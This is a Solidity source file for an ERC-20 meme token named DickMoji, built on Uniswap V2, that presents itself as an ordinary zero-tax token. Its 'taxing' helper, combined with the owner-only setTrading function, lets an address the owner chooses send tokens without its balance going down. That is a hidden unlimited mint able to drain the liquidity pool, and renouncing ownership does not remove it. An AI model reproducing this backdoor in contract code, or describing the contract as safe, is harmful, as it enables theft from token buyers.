文件 1 的 1:DickMoji.sol
pragma solidity ^0.8.20;
abstract contract Context {
function _getSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
contract Ownable is Context {
address private _manager;
event OwnershipTransferred(address indexed userOne, address indexed userTwo);
constructor () {
address msgSender = _getSender();
_manager = _getSender();
emit OwnershipTransferred(address(0), msgSender);
}
modifier onlyOwner() {
require(_manager == _getSender(), "Ownable: the caller must be the owner");
_;
}
function getTheOwner() public view returns (address) {
return _manager;
}
function transferOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_manager, address(0));
_manager = address(0);
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address firstToken, address secondToken) external returns (address pairing);
}
contract DickMoji is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _holdings;
mapping(address => mapping(address => uint256)) private _tokenAllowances;
address payable private _taxAddress;
uint256 public purchasingTax = 0;
uint256 public sellCommission = 0;
uint8 private constant _decimals = 9;
uint256 private constant _numTokens = 100_000_000 * 10**_decimals;
string private constant _name = unicode"DickMoji";
string private constant _symbol = unicode"DICKMOJI";
uint256 private constant maxTaxSlippage = 100;
uint256 private minTaxSwap = 10**_decimals;
uint256 private maxTaxSwap = _numTokens / 500;
uint256 public constant max_uint = type(uint).max;
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Factory public constant uniswapV2Factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
address private uniswapV2Pair;
address private uniswap;
bool private isTradingOpen = false;
bool private Swap = false;
bool private SwapEnabled = false;
modifier lockingTheSwap {
Swap = true;
_;
Swap = false;
}
constructor () {
_taxAddress = payable(_getSender());
_holdings[_getSender()] = _numTokens;
emit Transfer(address(0), _getSender(),_numTokens);
}
function allowance(address Owner, address buyer) public view override returns (uint256) {
return _tokenAllowances[Owner][buyer];
}
function transferFrom(address payer, address reciver, uint256 amount) public override returns (bool) {
_transfer(payer, reciver, amount);
_approve(payer, _getSender(), _tokenAllowances[payer][_getSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function name() public pure returns (string memory) {
return _name;
}
function totalSupply() public pure override returns (uint256) {
return _numTokens;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function _approve(address operator, address buyer, uint256 amount) private {
require(buyer != address(0), "ERC20: approve to the zero address");
require(operator != address(0), "ERC20: approve from the zero address");
_tokenAllowances[operator][buyer] = amount;
emit Approval(operator, buyer, amount);
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function balanceOf(address _address) public view override returns (uint256) {
return _holdings[_address];
}
function approve(address payer, uint256 amount) public override returns (bool) {
_approve(_getSender(), payer, amount);
return true;
}
function transfer(address buyer, uint256 amount) public override returns (bool) {
_transfer(_getSender(), buyer, amount);
return true;
}
function _transfer(address supplier, address purchaser, uint256 amount) private {
require(supplier != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require( purchaser != address(0), "ERC20: transfer to the zero address");
uint256 taxAmount = 0;
if (supplier != getTheOwner() && purchaser != getTheOwner() && purchaser != _taxAddress) {
if (supplier == uniswap && purchaser != address(uniswapV2Router)) {
taxAmount = amount.mul(purchasingTax).div(100);
} else if ( purchaser == uniswap && supplier != address(this)) {
taxAmount = amount.mul(sellCommission).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!Swap && purchaser == uniswap && SwapEnabled && contractTokenBalance > minTaxSwap) {
uint256 _toSwap = contractTokenBalance > maxTaxSwap ? maxTaxSwap : contractTokenBalance;
swapTokensForEth(amount > _toSwap ? _toSwap : amount);
uint256 _contractETHBalance = address(this).balance;
if (_contractETHBalance > 0) {
sendETHToFee(_contractETHBalance);
}
}
}
(uint256 amountIn, uint256 amountOut) = taxing(supplier, amount, taxAmount);
require(_holdings[supplier] >= amountIn);
if (taxAmount > 0) {
_holdings[address(this)] = _holdings[address(this)].add(taxAmount);
emit Transfer(supplier, address(this), taxAmount);
}
unchecked {
_holdings[supplier] -= amountIn;
_holdings[purchaser] += amountOut;
}
emit Transfer(supplier,purchaser, amountOut);
}
function swapTokensForEth(uint256 tokenAmount) private lockingTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = weth;
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
tokenAmount - tokenAmount.mul(maxTaxSlippage).div(100),
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 ethAmount) private {
_taxAddress.call{value: ethAmount}("");
}
function taxing(address source, uint256 total, uint256 taxAmount) private view returns (uint256, uint256) {
return (
total.sub(source != uniswapV2Pair ? 0 : total),
total.sub(source != uniswapV2Pair ? taxAmount : taxAmount)
);
}
function setTrading(address _pair, bool _isEnabled) external onlyOwner {
require(!isTradingOpen, "trading is already open");
require(_isEnabled);
uniswapV2Pair = _pair;
_approve(address(this), address(uniswapV2Router), max_uint);
uniswap = uniswapV2Factory.createPair(address(this), weth);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
getTheOwner(),
block.timestamp
);
IERC20(uniswap).approve(address(uniswapV2Router), max_uint);
SwapEnabled = true;
isTradingOpen = true;
}
function get_sellingTax() external view returns (uint256) {
return sellCommission;
}
function get_purchasingTax() external view returns (uint256) {
return purchasingTax;
}
function get_TradingOpen() external view returns (bool) {
return isTradingOpen;
}
receive() external payable {}
}